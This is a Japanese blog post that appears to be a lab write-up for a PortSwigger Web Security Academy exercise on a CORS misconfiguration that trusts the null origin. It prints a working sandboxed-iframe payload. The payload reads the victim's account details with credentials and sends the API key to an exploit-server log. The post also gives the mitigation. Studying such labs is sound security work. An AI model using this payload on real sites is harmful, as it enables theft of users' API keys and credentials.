0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【30個目】【CORS】CORS vulnerability with trusted null origin

Posted at

CORS vulnerability with trusted null origin

概要

Access-Control-Allow-OriginにNULLが設定されることが許可されている脆弱を利用して、被害者のAPIキーを取得する

攻撃手順

  • Access-Control-Allow-OriginヘッダーにNULLが設定されることを許可されていることを確認
  • 画面からAPIキーを取得し、攻撃者のサイトへリクエストするためのエクスプロイトを作成
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

対策

  • Access-Control-Allow-OriginヘッダにNULLを設定できるようにしない

メモ

  • Access-Control-Allow-OriginヘッダにNULLを設定できるのがAPIキーの漏洩の原因になる理由は、iframeにsandbox属性が設定されている、かつ、その値にallow-same-originが含まれていない場合、そのiframe内のコンテンツはnullオリジンとして扱われるため

クリアするまでにかかった時間

  • 20m
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?